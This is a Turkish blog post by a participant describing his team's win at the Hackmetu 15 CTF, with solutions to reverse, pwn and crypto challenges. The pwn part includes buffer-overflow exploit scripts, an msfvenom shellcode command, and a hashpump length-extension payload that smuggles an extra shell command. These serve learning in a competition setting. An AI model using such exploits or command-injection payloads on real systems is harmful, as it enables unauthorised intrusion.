Hackmetu 15

14-15 Şubat tarihleri arasında arkadaşlarım Cihad ve Deniz ile beraber Hackmetu CTF yarışmasına katıldım. Harika ve yorucu geçen bir 30 saat sonunda, takımımız 0-Day 5058 puanla birinci oldu. Puan tablosuna buradan ulaşabilirsiniz.

Puan Tablosu

Yarışmayı düzenleyen 0xdeffbeef ekibi kesinlikle övgüyü hakediyor. Türkiye'de gerçek siber güvenlik bilinci için bu tarz yarışmaların artması çok önemli. Yurtdışında yapılan CTF yarışmalarına baktığınızda dediğim gayet net anlaşılacaktır. Bu tarz yarışmaların zamanlarına Ctftime sitesinden ulaşabilirsiniz.

Yarışma 14 Şubat sabah 11'de başladı ve 15 şubat akşam 17'de sona erdi. Yarışmaya katılan kişilere sabah, öğle ve akşam yemeği servisleri de gayet başarılı bir şekilde yapıldı. Ayrıca tüm yarışma boyunca çay, kahve gibi ikramlar da hiç eksik olmadı. Bu tarz tempolu bir ortamda kimse bunları düşünmedi ama organizasyon gayet başarılı bir şekilde çalıştı. Hatta yatacak yer bile ayarlanmıştı. Biz takım olarak uykumuzu alacak kadar uyuduk diyebiliriz. Ama hiç uyumayan takımların da olduğunu rahatlıkla söyleyebilirim.

Hackmetu 15

Yarışma bittikten sonra diğer takımlardan genellikle reverse ve pwn sorularının yapılamadığı gibi bir izlenime kapıldım. Ben de yarışmaya gelmeden sadece 2 günlük reverse ve exploit konularında çalışma yaptığımdan, teorik bilgimi ilk defa uygulama şansı buldum. Bu kategorideki sorulardan birkaçının çözümünü paylaşmak istiyorum. Tüm kodlara ve kaynaklara buradan ulaşabilirsiniz.

Reverse

Reverse kategorisi soruları, Crypto ve Web sorularına göre bir hayli kolaydı diyebilirim. Ancak tersine mühendislik alanı genel olarak zorluklar içerir. Bu kategorilerin hello world tarzındaki başlangıç soruları bile, bilmeyen kişilere çok zor gelebilir. Bunu da yarışma içerisinde görmüş olduk zaten.

200 puanlık reverse soru linux için derlenmiş bir dosyanın istediği şifresini bulmaktı. Zaten tüm sorular da crack me mantığı ile düzenlenmişti. Dosyayı IDA içerisine attığımızda en başta aşağıdaki gibi bir kısım dikkat çekiyordu. Kullanıcıdan aldığı stringin boyunu, uygulama içerisinde tutulan başka bir değişkenin boyu ile kıyaslıyordu.

Reverse 200 1

Boyu kıyaslanan bu değer, statik olarak uygulama içerisine gömüldüğü için ulaşmak gayet kolaydı.

Reverse 200 2

Dosyanın kabul edeceği değerin boyunu öğrendiğimiz için artık asıl kontrolün yapıldığı yeri bulmak ve analiz etmek gerekiyordu. Aşağıdaki kısım bu kontrolün yapıldığı yerdir. Burada daha önce bulduğumuz 16 bytelık değer ile gene uygulama içerisine gömülmüş başka bir 16 bytelık değişkene xor işlemi yapılmaktadır.

Reverse 200 3

Herşeye sahip olduğumuza göre, artık bayrağı oluşturalım.

Reverse 200 4

Soru gayet kolay olmasına rağmen, derleyiciden dolayı yapılmak istenen olay ciddi derecede saklanmıştır. Basit bir xor işlemini derleyici baya karmaşık süreçlere dönüştürmesi, soruyu biraz zorlaştırmıştır.

Reverse kategorisinde yer alan 300 puanlık soru bir öncekinin çok benzeri durumdadır. Kontrolün yapıldığı aşağıdaki kısımda, harici olarak 1 ile xor işlemi eklenmiştir.

Reverse 300 1

Yapılması gerekeni anladığımıza göre bayrağı oluşturalım.

Reverse 300 2

Reverse kategorisinin 400 puanlık sorusu bir öncekilerden ufak da olsa farklıydı. Burada yaptığı işlemi anlamak için önce strace çalıştıralım.

Reverse 400 1

Görüldüğü gibi uzak bir sunucudan metin dosyasını okumaktadır. Bu dosyanın içerisinde de md5 değeri bulunmaktadır. Geri kalan kod kısımları bir önceki sorulara benzese de harici olarak bir de 2 ile xor işlemi eklenmiştir.

Reverse 400 2

Kod kısmımızı da anladıktan sonra bayrağımızı oluşturalım.

Reverse 400 3

Son reverse sorusu yarışma içerisinde herşeyini analiz ettiğim ancak, yorgunluktan dolayı bir türlü sonuca erişemedim bir soruydu. Yapılması gereken şey, ilk girilen fonksiyon içerisinde yer alan iki döngüden, en üsttekini bypass ettirmekti. Zaten bu sayede anahtarı da 0xDEFFBEEF olarak kullanabiliyorduk. Daha sonra üstteki sorulara benzer şekilde xor işlemini gerçekleştirdiğimizde bayrağa erişebiliyorduk.

Pwn

Pwn kategorisinde, yurtdışında yapılan yarışmalara göre bir hayli basit olmasına rağmen, temel problemleri içeren sorular vardı. Çözmesi zevkli ve güzeldi bence. Gelmeden önce sadece iki gün teorik olarak baktığım için, pratik uygulama yapmak benim adıma da çok verimli oldu.

100 puanlık ilk soru klasik bir buffer overflow sorusuydu. Kodu analiz ettiğimizde aşağıdaki gibi bir kısım ile karşılaşıyorduk. Yukarlarda yer alan bir değişkenin içeriğini 1 yaptığımız zaman, uygulama bize bayrağı verecekti. Tabi ne kadar bir offset değeri olduğunu da hesaplamak gerekliydi. Bunu ister cyclic pattern oluşturarak istersek de kod içerisinden bulabilirdik.

Pwn 100 1

Uzak sunucudan bayrağı almak için de aşağıdaki gibi bir kod parçasını kullandık. 128 adet boş A'dan hemen sonra istediğimiz değişkeni setledik ve bayrağı aldık.

import socket

ip = "127.0.0.1"
port = 1337
payload = "A"*128 + "\x01" + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

print s.recv(1024)
s.send(payload)
print s.recv(1024)
s.close()

200 puanlık soru da beklediğim tarzda bir pwn sorusuydu. Kodu analiz ettiğimiz zaman hiç kullanılmayan, önemli bir kod blogu ile karşılaştık. Burada tam olarak istediğimiz işlem, yani bayrak okuma gerçekleşiyordu.

Pwn 200 1

Amacımızın buffer overflow yaparak, EIP registerı içerisine, yukarıda gözüken fonksiyonun adresini vermek olduğu gayet açık. Bunun gerçekleşmesi için öncelikle kod içerisinde çeşitli koruma mekanizmalarının olup olmadığını kontrol etmek çok önemli. Aksi takdirde başka yollara başvurmak gerekecekti.

Pwn 200 2

Yarışma esnasında ASLR korumasının kapalı olduğunu söyledikleri için, artık iş sadece offset değerini bulmaya kalmıştı. Ben bu amaç için gdb ve peda kullanıyorum. Aşağıdaki şekilde bir cyclic pattern oluşturup uygulamayı bu şekilde çalıştırdım.

Pwn 200 3

Daha sonra uygulamanın crash olduğu noktada, EIP içerisinde yazan değeri, peda'nın pattern_offset aracına vererek kullanmam gereken offset değerine ulaştım.

Pwn 200 4

Offset değerimi ve çalıştırmak istediğim fonksiyonun adresini de bulduğum için, tek yapmam gereken aşağıdaki gibi bir kod parçası yapıp bayrağı almaktı.

import socket, struct

ip = "127.0.0.1"
port = 1337
addr = struct.pack("<I", 0x80487ED)
payload = "A"*32 + addr + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

print s.recv(1024)
s.send(payload)
print s.recv(1024)
print s.recv(1024)
s.close()

Pwn 300 sorusu gene bir buffer overflow sorusuydu. Ancak uzak makine içerisinde bize ssh bilgileri veriliyordu ve uygulama içerisinden, ilgili dizin altındaki flag.txt dosyasının içeriğinin okunması bekleniyordu. Yani artık exploitimiz içerisinde shell code olacaktı. Uygulamayı gdb ile açıp 100 karakterli bir cyclic pattern ile çalıştıralım.

Pwn 300 1

Uygulamanın crash olduğu noktadan faydalanarak offset değerini belirleyelim.

Pwn 300 2

Elde ettiğimiz 62 değerinin anlamı, 62 karakterden hemen sonra yazacağın değer EIP üzerine gelecektir demek. Biz de bunu kullanarak yazdığımız shell code üzerine uygulamanın akışını değiştireceğiz. Bunun kontrolü için önce EIP üzerine BBBB yazalım ve geri kalan stack alanına biraz nop yerleştirelim.

Pwn 300 3

Uygulamayı yukarıdaki gibi çalıştırdığımızda stack içerisi ve EIP değeri aşağıdaki gibi oluyor.

Pwn 300 4

Gördüğünüz gibi uygulama 0x42424242 adresinde crash oldu ve yazdığımız nop değerlerinin adres başlangıç değerine ulaşabildik. Eğer ASLR tarzı bir koruma olsaydı, bu adresler her uygulama çalıştığında değişecekti. Ancak yarışma esnasında herhangi bir koruma açık olmadığı için herhangi bir sıkıntı ile karşılaşmadık. Ancak çeşitli adres sıkıntılarından dolayı uzak sunucuda bir türlü shell almayı başaramamıştım. nop alanını arttırarak en sonunda shell içerisine düştüm ve flag.txt okudum. Localde yaptığım ilk deneme ekrana Owned!!! basan bir shell code oldu. Başarıyla çalıştığını gördükten sonra uzak sunucuda doğrudan dosya okuyan bir shell code çalıştırdım.

Pwn 300 4

Bu soru içerisinde yer alan bir sıkıntı da, shell code içerisinde 0x0B karakterinin yer alamaz olmasıydı. Bunu da aşağıdaki kod bloğundan anlayabiliriz.

Ben bu sıkıntıyı çözmek için msfvenom ile aşağıdaki gibi bir shell code oluşturdum ve kullandım.

msfvenom -p linux/x86/read_file path=flag.txt -e -e x86/shikata_ga_nai -b '\xb0' -f python

Pwn 400 sorusu klasik bir format string açığı sorusuydu. İstenilen işlemlerden sonra en son aşamada system çağrısı yapılmaktaydı. command ismindeki değişken içeriğine cat flag.txt gibi bir değer yazdığımız zaman, uygulama çıkarken bu işlemi gerçekleştirmekteydi. Aynı şekilde son olarak da fopen çağrısı yapılmaktaydı. Yarışma esnasında başka sorulara bakmaktan bu kolay soruyu yapamadım. Yarışmadan hemen sonra ise düzgün kafayla, rahat bir şekilde exploit ettim.

Pwn 500 sorusu ise yarışma içindeki belki de en zor sorulardandı. Kaç takım uğraştı bilmiyorum ama, kodu incelediğim zaman içerisinde heap overflow tespit ettim ve soruyla uğraşmayı bıraktım. Çünkü daha önce hiç uğraşma şansım olmamıştı. Eğer başka sorulardan zaman arta kalsaydı, bu soru ile de uğraşmak isterdim.

Crypto

Crypto kategorisi içerisinden en çok 400 puanlık soruyu sevdiğimi söyleyebilirim. Birçok kez hash length extension attack tabirini duymuş ve incelemiş olmama rağmen ilk defa pratik olarak uğraştığım için benim adıma çok faydalı oldu. Soruyu açıklamak gerekirse, verilen ip adresinin ilgili portuna bağlandığınızda sizden bir komut beklemekteydi. Komutun yapısının md5_hash|komut şeklinde olması gerekiyordu. Tabi buradaki md5_hash de md5(secret_key|komut) şeklinde oluşturuluyordu. secret_key sistem tarafında tutulduğu için, amacımız bu anahtarı bilmeden sistem üzerinde komut çalıştırmaktı. Kimi takımlar brute force yapmayı denemiş olsa da, hashpump aracı ile çok rahat bir şekilde saldırı senaryosu oluşturulabilirdi. İlerleyen zamanlarda bu saldırı türünü detaylı şekilde anlatmayı istediğimden, çok fazla detaya girmiyorum. Ancak sorunun çözümü için aşağıdaki gibi bir komut ile değer oluşturup sunucuya gönderdim diyebilirim.

hashpump -s "gelen_md5" -d "echo blabla" -a "elp;ls" -k 32

Burada gelen_md5, bize örnek olarak verilen echo blabla gibi bir komutun secret_key ile hashlenmiş haliydi. Biz de bu hashi uzatarak devamında ls komutu çalıştırdık. Burada yer alan ufak bir zorluk, bash ile birlikte gelen h not found tarzı bir hata mesajıydı. Biz de sonunda elp ekleyip bu kısmı atlattık ve arka planda ls komutu çalıştırdık. daha sonra da zaten ilgili dizinden kodu okuduk.

Sonuç

Hackmetu katıldığım en eğlenceli CTF yarışmalarından birisi oldu. Takım arkadaşlarım ile çok iyi bir iş çıkarttığımızı düşünüyorum. 30 saatlik yorucu bir maraton ardından çok iyi yarışmacılar karşısında başarı elde etmek bana göre gayet güzel oldu. Tabi bu kadar iyi şeylerin yanında, yapıcı eleştirileri de yapmadan olmaz.

  1. pwn sorularında, local üzerinde çalışırken, uygulama her gelen istek de yeni bir process başlatıyordu. Haliyle uygulamayı kill ettiğimiz de çoğu zaman port hala kullanımda kalıyordu. Yaklaşık 30 saniye felan bekledikten sonra tekrardan çalıştırabiliyorduk. Bu eğer özellikle yapılmadıysa çok kötü bir şeydi. Çünkü inanılmaz zaman kaybına yol açıyordu. Umarım bundan sonraki yarışmalarda buna dikkat ederler.

  2. pwn sorularında uzaktaki sunucuların sürekli kapanması gene çok büyük bir zaman kaybı yaşatıyordu. İnşallah sonraki yarışmalarında bu sorunu da çözerler. Çünkü, özellikle crypto 400 sorusunda, bir istek yaptıktan sonra sunucunun kapanması, inanılmaz zaman kaybettirdi.

  3. web sorularının büyük çoğunluğu sql inj üzerine kuruluydu. Ben nosql inj, lfi tarzı açıklarında bolca bulunduğu sorular bekledim.

  4. misc veya forensic gibi başka bir alt dalın da olması gerektiğinidüşünüyorum.

  5. crypto sorularının çok fazla puandan oluştuğu bir gerçek. Puanlar daha dengeli olabilirdi.

Özetle, çok güzel bir etkinlik geride kaldı. Kazanan biz olduk ama tüm takımları ayrıca tebrik ederim. En çok da organizatör ekibe teşekkür ederim.

A photo posted by Halit (@halitalptekin) on

comments powered by Disqus